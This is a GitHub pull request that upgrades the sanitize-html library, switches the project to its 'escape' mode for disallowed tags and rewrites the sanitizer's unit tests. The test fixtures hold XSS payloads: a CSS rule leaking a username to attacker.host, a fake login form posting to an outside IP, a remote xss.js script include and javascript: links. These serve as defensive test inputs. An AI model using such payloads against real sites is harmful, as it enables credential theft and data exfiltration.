Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update sanitize-html that now officially support 'escaping' tags #6143

Closed
wants to merge 11 commits into from
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
"cost-of-modules": "yarn global add cost-of-modules && cost-of-modules --less --no-install --include-dev",
"install:all": "yarn install --frozen-lockfile",
"up": "yarn install:all && yarn start:all",
"postinstall": "yarn workspaces run postinstall",
"postinstall": "patch-package && yarn workspaces run postinstall",
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is a patch to apply at the root now as @types/sanitize-html is hoisted

"build": "yarn workspaces run build",
"build:analyze": "yarn build --bundle-analyze",
"up:manager": "yarn install:all && yarn start:manager",
Expand Down
6 changes: 2 additions & 4 deletions packages/manager/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
"@material-ui/lab": "^4.0.0-alpha.29",
"@material-ui/styles": "^4.4.1",
"@sentry/browser": "~5.10.2",
"@types/sanitize-html": "^1.20.2",
"algoliasearch": "^3.30.0",
"axios": "~0.19.0",
"axios-mock-adapter": "^1.15.0",
Expand Down Expand Up @@ -71,7 +72,7 @@
"redux-thunk": "^2.3.0",
"reselect": "^4.0.0",
"rxjs": "^5.5.6",
"sanitize-html": "1.20.1",
"sanitize-html": "~1.21.1",
"search-string": "^3.1.0",
"showdown": "^1.9.1",
"showdown-highlightjs-extension": "^0.1.2",
Expand Down Expand Up @@ -169,7 +170,6 @@
"@types/react-test-renderer": "~16.9.1",
"@types/recompose": "^0.30.0",
"@types/redux-mock-store": "^1.0.1",
"@types/sanitize-html": "1.18.3",
"@types/showdown": "^1.9.3",
"@types/throttle-debounce": "^1.0.0",
"@types/url-parse": "^1.4.1",
Expand Down Expand Up @@ -329,8 +329,6 @@
},
"workspaces": {
"nohoist": [
"@types/sanitize-html",
"sanitize-html",
"chart.js",
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These used to not be hoisted because of the path of the patches, this is not necessary anymore as the patch is in the root package

"chartjs*",
"wdio-jasmine-framework*",
Expand Down
12 changes: 0 additions & 12 deletions packages/manager/patches/@types+sanitize-html+1.18.3.patch

This file was deleted.

222 changes: 0 additions & 222 deletions packages/manager/patches/sanitize-html+1.20.1.patch

This file was deleted.

Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ const aClick = '<a onClick="() => console.log("hello world")"></a>';
const aClickLang =
'<a lang="en-us" onClick="() => console.log("hello world")"></a>';
const css = `<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style><input id="username" value="mikeg" />`;

const login = `http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>`;
const aScript = `<a href="javascript:alert(8007)">Click me</a>`;
const queryString = `http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">`;
Expand All @@ -36,19 +37,79 @@ it('should escape script tags, retain child text, and strip attributes', () => {
);
});

it('should escape unwanted blacklisted tags', () => {
expect(sanitizeHTML(login)).toBe(
'<form>Username:<br />&lt;input /&gt;<br />Password:<br />&lt;input /&gt;<br /><br />&lt;input /&gt;<br /></form>'
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This test is broken, it is in this file skipped a bit below

);
expect(sanitizeHTML(aScript)).toBe(`<span>Click me</span>`);
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This test is still working the same way, just moved a bit down the page

});
describe('should escape unwanted blacklisted tags', () => {
const link = `http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3>`;
const ecapedForm = `&lt;form&gt;&lt;/form&gt;`;
it('No change', () => {
expect(sanitizeHTML(link)).toBe(link);
});
it('Form escaped + not self closing', () => {
expect(sanitizeHTML('<form/>')).toBe(ecapedForm);
const linkForm = `http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3><form/>`;
expect(sanitizeHTML(linkForm)).toBe(link + ecapedForm);
});
it('Form escaped + not self closing', () => {
expect(sanitizeHTML('<form></form>')).toBe(ecapedForm);
});
const escapedForm2 = `&lt;form&gt;Username:&lt;input&gt;&lt;/form&gt;`;

it('should not allow CSS attacks by escaping the style tag', () => {
expect(sanitizeHTML(css)).toBe(
'&lt;style&gt;#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}&lt;/style&gt;&lt;input /&gt;'
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As you can see below this test does not pass, sanitize now return Nothing with this input,
Although given a test with the style tag and no input tag does escape just the style tag.

Note also i noticed there is which is incorrect i think in the input

);
xit('form and input should pass', () => {
// Here currently with an open issue on sanitize html
// https://github.com/apostrophecms/sanitize-html/issues/334
const form = `<form>Username:
<input type="username" name="username"></form>`;
expect(sanitizeHTML(form)).toBe(escapedForm2);
});
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This does not work (see the test right below) it looks like instead of escaping input, as it has no child node they discarded it entirely


it('form and input passes', () => {
const form = `<form action="http://192.168.149.128">Username:
<input type="username" name="username"></form>`;
expect(sanitizeHTML(form)).toBe('&lt;/form&gt;');
});
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

here simple form + input. input is discarded entirely (i think this is because there is no content to the tag)


/** AC change to sanitizehtml 1.21 instead of patch
* The old test use the expected result:
* const expectedLoginRes = \
* '<form>Username:<br />&lt;input /&gt;<br />Password:<br />&lt;input /&gt;<br /><br />&lt;input /&gt;<br /></form>';
*
* I argue that this result is wrong as it would assume that we do not escape <form>.
* - Form is not an allowed tag see allowedHTMLTags from 'src/constants'
*
* Also, The input tags in Login are not closed, so it is unsurpising that they are discarded as incorrect
*
* Why do we loose the <form> tag instead of having it escaped is part of my issue
* https://github.com/apostrophecms/sanitize-html/issues/334
*/

const expectedLoginRes = '<br />&lt;/form&gt;';
it('login', () => {
expect(sanitizeHTML(login)).toBe(expectedLoginRes);
});
});

it('should remove transform <a> in <span> if href incorrect', () => {
expect(sanitizeHTML(aScript)).toBe('<span>Click me</span>');
});
describe('should not allow CSS attacks by escaping the style tag', () => {
it('simple check scape style tag', () => {
/// This test works very fine
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

works as expected by escaping <style>

expect(
sanitizeHTML(
`<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style>`
)
).toBe(
`&lt;style&gt;#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}&lt;/style&gt;`
);
});
xit('originalCssTest', () => {
// This test does not, because the whole line get s discarded
// also my issue
// https://github.com/apostrophecms/sanitize-html/issues/334
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

expect(sanitizeHTML(css)).toBe(
'&lt;style&gt;#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}&lt;/style&gt;&lt;input /&gt;'
);
});
});
it('should not allow query string attacks', () => {
expect(sanitizeHTML(queryString)).toBe(
'http://localhost:81/DVWA/vulnerabilities/xss_r/?name=&lt;script&gt;&lt;/script&gt;'
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -30,11 +30,10 @@ export const sanitizeHTML = (text: string) =>
};
}
},
/**
* this option is not supported and was patched
* See: https://github.com/punkave/sanitize-html/pull/169
*/
escapeDisallowedTags: true
// see doc for this value here:
// https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded
// 'escape' : the disallowed tags are escaped rather than discarded. Any text or subtags is handled normally
disallowedTagsMode: 'escape'
Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/** this is basically just converting script tags to text */
// transformTags: {
// script: (tagName, attrs: Record<string, string>) => {
Expand Down
Loading